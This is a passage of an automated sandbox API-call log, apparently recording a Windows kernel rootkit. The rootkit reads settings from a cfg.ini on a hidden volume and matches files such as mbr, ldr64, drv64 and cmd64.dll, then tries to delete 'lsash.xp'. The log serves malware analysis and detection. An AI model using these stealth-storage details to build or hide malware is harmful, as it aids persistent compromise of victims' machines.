VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.005] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.005] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.005] IdePortDispatch () returned 0x103 [0119.005] KeWaitForMutexObject () returned 0x0 [0119.005] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.005] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.005] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.005] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.005] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.005] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003649b60 [0119.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.005] KeLeaveCriticalRegion () [0119.006] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.006] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.006] KeEnterCriticalRegion () [0119.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.006] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.006] KeLeaveCriticalRegion () [0119.006] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.006] KeEnterCriticalRegion () [0119.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.006] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.006] IdePortDispatch () returned 0x103 [0119.006] KeWaitForMutexObject () returned 0x0 [0119.006] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.006] KeLeaveCriticalRegion () [0119.006] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.006] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.006] KeEnterCriticalRegion () [0119.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.007] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c53000 [0119.007] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.007] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.007] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.007] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.007] IdePortDispatch () returned 0x103 [0119.007] KeWaitForMutexObject () returned 0x0 [0119.007] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.007] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.007] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.007] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.007] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.007] IdePortDispatch () returned 0x103 [0119.007] KeWaitForMutexObject () returned 0x0 [0119.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.007] KeLeaveCriticalRegion () [0119.007] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.008] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.008] KeEnterCriticalRegion () [0119.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.008] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.008] KeLeaveCriticalRegion () [0119.008] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.008] KeEnterCriticalRegion () [0119.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.008] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.008] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.008] KeLeaveCriticalRegion () [0119.008] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.008] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.008] KeEnterCriticalRegion () [0119.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.008] ExFreePoolWithTag (P=0xfffffa8003649b60, Tag=0x0) [0119.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.009] KeLeaveCriticalRegion () [0119.009] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.009] ReleaseMutex (hMutex=0xf0) returned 1 [0119.009] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.009] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.009] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.009] KeEnterCriticalRegion () [0119.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.009] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.009] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.009] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.009] IdePortDispatch () returned 0x103 [0119.009] KeWaitForMutexObject () returned 0x0 [0119.009] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.009] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.009] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.009] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.009] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.009] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbf010 [0119.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.009] KeLeaveCriticalRegion () [0119.009] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.010] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.010] KeEnterCriticalRegion () [0119.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.010] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.010] KeLeaveCriticalRegion () [0119.010] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.010] KeEnterCriticalRegion () [0119.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.010] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.010] IdePortDispatch () returned 0x103 [0119.010] KeWaitForMutexObject () returned 0x0 [0119.010] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.010] KeLeaveCriticalRegion () [0119.010] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.010] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.010] KeEnterCriticalRegion () [0119.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.010] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c54000 [0119.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.011] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.011] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.011] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.011] IdePortDispatch () returned 0x103 [0119.011] KeWaitForMutexObject () returned 0x0 [0119.011] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.011] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.011] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.011] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.011] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.011] IdePortDispatch () returned 0x103 [0119.011] KeWaitForMutexObject () returned 0x0 [0119.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.011] KeLeaveCriticalRegion () [0119.011] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.012] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.012] KeEnterCriticalRegion () [0119.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.012] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.012] KeLeaveCriticalRegion () [0119.012] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.012] KeEnterCriticalRegion () [0119.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.012] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.012] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc1a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.012] KeLeaveCriticalRegion () [0119.012] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.012] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.012] KeEnterCriticalRegion () [0119.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.012] ExFreePoolWithTag (P=0xfffffa8003bbf010, Tag=0x0) [0119.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.012] KeLeaveCriticalRegion () [0119.012] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.013] ReleaseMutex (hMutex=0xf0) returned 1 [0119.013] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.013] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.013] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.013] KeEnterCriticalRegion () [0119.013] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.013] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.013] IdePortDispatch () returned 0x103 [0119.013] KeWaitForMutexObject () returned 0x0 [0119.013] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.013] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.013] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.013] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.013] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.013] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ba04e0 [0119.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.013] KeLeaveCriticalRegion () [0119.013] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.013] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.014] KeEnterCriticalRegion () [0119.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.014] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.014] KeLeaveCriticalRegion () [0119.014] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.014] KeEnterCriticalRegion () [0119.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.014] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.014] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.014] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.014] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.014] IdePortDispatch () returned 0x103 [0119.014] KeWaitForMutexObject () returned 0x0 [0119.014] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.014] KeLeaveCriticalRegion () [0119.014] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.014] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.014] KeEnterCriticalRegion () [0119.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.014] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c55000 [0119.014] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.014] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.014] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.014] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.015] IdePortDispatch () returned 0x103 [0119.015] KeWaitForMutexObject () returned 0x0 [0119.015] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.015] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.015] IdePortDispatch () returned 0x103 [0119.015] KeWaitForMutexObject () returned 0x0 [0119.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.015] KeLeaveCriticalRegion () [0119.015] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.016] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.016] KeEnterCriticalRegion () [0119.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.016] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.016] KeLeaveCriticalRegion () [0119.016] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.016] KeEnterCriticalRegion () [0119.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.016] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.016] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.016] KeLeaveCriticalRegion () [0119.016] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.016] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.016] KeEnterCriticalRegion () [0119.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.016] ExFreePoolWithTag (P=0xfffffa8003ba04e0, Tag=0x0) [0119.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.016] KeLeaveCriticalRegion () [0119.016] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.017] ReleaseMutex (hMutex=0xf0) returned 1 [0119.017] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.017] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.017] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.017] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.017] KeEnterCriticalRegion () [0119.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.017] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.017] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.017] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.017] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.017] IdePortDispatch () returned 0x103 [0119.017] KeWaitForMutexObject () returned 0x0 [0119.017] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.017] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.017] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.017] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.017] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.017] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.017] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.017] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.017] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.017] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.017] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.017] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.017] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.017] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.018] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.018] KeLeaveCriticalRegion () [0119.018] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.018] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.018] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.018] KeEnterCriticalRegion () [0119.018] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.018] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 